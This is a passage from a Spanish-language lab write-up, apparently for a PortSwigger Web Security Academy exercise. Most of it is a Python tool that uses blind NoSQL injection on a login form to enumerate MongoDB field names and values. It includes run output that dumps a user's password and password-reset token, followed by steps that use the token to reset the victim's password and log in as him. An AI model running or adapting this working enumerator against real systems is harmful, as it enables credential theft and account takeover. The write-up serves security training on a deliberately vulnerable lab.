                log.warning(f"Could not find character at position {current_position} for field {current_field_index}")
                extracted_field_value += "?"
                field_progress_bar.status(extracted_field_value)
        
        field_values[current_field_name] = extracted_field_value
        field_progress_bar.success(extracted_field_value)
    
    progress_bar.success("Completed")
    return field_values

def prompt_field_selection(total_fields, field_names_list):
    field_indexes = []
    
    while not field_indexes:
        print()
        user_input = input(f"[?] Enter field indexes to dump (0-{total_fields-1}, comma-separated) or 'all' for all fields: ").strip()
        
        if user_input.lower() == "all":
            field_indexes = [index for index, name in enumerate(field_names_list) if name is not None]
            break
        else:
            try:
                indexes = [int(index.strip()) for index in user_input.split(',')]
                valid_indexes = []
                invalid_index_found = False
                
                for index in indexes:
                    if 0 <= index < len(field_names_list) and field_names_list[index] is not None:
                        valid_indexes.append(index)
                    else:
                        log.warning(f"Invalid or unavailable field index: {index}")
                        invalid_index_found = True
                
                if invalid_index_found:
                    log.warning("Please enter only valid field indexes.")
                    continue
                
                if valid_indexes:
                    field_indexes = valid_indexes
                else:
                    log.warning("No valid field indexes selected. Please try again.")
            except ValueError:
                log.warning("Invalid input. Please enter numbers separated by commas or 'all'.")
    
    return field_indexes

def save_and_display_results(field_indexes, field_names_list, field_values, output_file):
    print()
    log.info("Fields and values")
    
    results_found = False
    
    try:
        with open(output_file, 'w') as file_handler:
            for field_index in field_indexes:
                field_name = field_names_list[field_index]
                field_value = field_values.get(field_name, None)
                
                if field_name is not None and field_value is not None:
                    log.info(f"{field_name}:{field_value}")
                    file_handler.write(f"{field_name}:{field_value}\n")
                    results_found = True
                else:
                    log.warning(f"Field {field_index}: Could not be determined")
                    file_handler.write(f"Field {field_index}: Could not be determined\n")
        
        if not results_found:
            log.warning("No valid results found. File created but empty.")
            return False
        
        log.info(f"Results saved to {output_file}")
        return True
    except Exception as e:
        log.error(f"Failed to save results: {e}")
        return False

def main(url, proxy_url=None, verify_ssl=True, output_file='fields.txt'):
    session = initialize_session(proxy_url, verify_ssl)
    
    total_fields = get_number_of_fields(session, url)
    if total_fields is None:
        log.error("Failed to enumerate number of fields")
        return
    
    field_lengths_list = get_field_lengths(session, url, total_fields)
    if not field_lengths_list:
        log.error("Failed to enumerate field lengths")
        return
    
    field_names_list = get_field_names(session, url, field_lengths_list)
    if not field_names_list:
        log.error("Failed to enumerate field names")
        return
    
    field_indexes = prompt_field_selection(total_fields, field_names_list)
    if not field_indexes:
        log.error("No valid field indexes selected")
        return
    
    field_value_lengths = get_field_value_lengths(session, url, field_names_list, field_indexes)
    if not field_value_lengths:
        log.error("Failed to enumerate field value lengths")
        return
    
    field_values = get_field_value_names(session, url, field_names_list, field_value_lengths, field_indexes)
    if not field_values:
        log.error("Failed to enumerate field values")
        return
    
    save_and_display_results(field_indexes, field_names_list, field_values, output_file)

if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        description='MongoDB Fields Enumeration via NoSQL Injection',
        add_help=False
    )
    
    parser.add_argument('-h', '--help', 
                        action='help', 
                        help='Show this help message and exit')
    
    parser.add_argument('-u', '--url', 
                        required=True, 
                        metavar='', 
                        help='Target URL (e.g. https://example.com/login)')
    
    parser.add_argument('-p', '--proxy', 
                        metavar='', 
                        help='Proxy URL (e.g. http://127.0.0.1:8080)')
    
    parser.add_argument('-k', '--insecure',
                        action='store_true',
                        help='Disable SSL certificate verification (for self-signed certificates/invalid certificates)')
    
    parser.add_argument('-o', '--output', 
                        default='fields.txt', 
                        metavar='', 
                        help='Output file (default: fields.txt)')
    
    args = parser.parse_args()
    
    main(url=args.url, proxy_url=args.proxy, verify_ssl=not args.insecure, output_file=args.output)

Al ejecutar el script, obtenemos todos los campos y sus valores

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# python NoSQLI-Field-Dumper.py -u https://0a61004f04107147821b5bdb006e007f.web-security-academy.net/login 
[+] Enumerating number of fields: Completed
[+] Fields found: 5

[+] Enumerating field lengths: Completed
[+] Field 0: 3
[+] Field 1: 8
[+] Field 2: 8
[+] Field 3: 5
[+] Field 4: 13

[+] Enumerating field names: Completed
[+] Field 0: _id
[+] Field 1: username
[+] Field 2: password
[+] Field 3: email
[+] Field 4: passwordReset

[?] Enter field indexes to dump (0-4, comma-separated) or 'all' for all fields: all

[+] Enumerating field value lengths: Completed
[+] Field 0: 24
[+] Field 1: 6
[+] Field 2: 20
[+] Field 3: 25
[+] Field 4: 16

[+] Enumerating field values: Completed
[+] Field 0: 692888cf83d95f4a31a66099
[+] Field 1: carlos
[+] Field 2: 01il0plarevauyj0332v
[+] Field 3: carlos@carlos-montoya.net
[+] Field 4: 8f291540f37e7382

[*] Fields and values
[*] _id:692888cf83d95f4a31a66099
[*] username:carlos
[*] password:01il0plarevauyj0332v
[*] email:carlos@carlos-montoya.net
[*] passwordReset:8f291540f37e7382
[*] Results saved to fields.txt

El siguiente paso es averiguar como podemos proporcionar el valor. He capturado la petición a /forgot-password y la he mandado al Repeater, si nos fijamos bien vemos que el Content-Length es de 3060

Si hacemos la petición a /forgot-password?foo=invalid vemos que el resultado sigue siendo el mismo. Esto lo hacemos para ver si nos arroja algún error

Si hacemos la petición a /forgot-password?209117d5680cebf8=invalid el resultado sigue siendo el mismo

Sin embargo, si hacemos la petición /forgot-password?passwordReset el resultado es diferente

Si accedemos a /forgot-password?passwordReset=691ba2e24d15a582 vemos un panel mediante el cual podemos cambiar la contraseña al usuario carlos

Accedemos mediante el navegador a esta URL y le cambiamos a carlos su contraseña

Nos logueamos como el usuario carlos

Esta entrada está licenciada bajo CC BY 4.0 por el autor.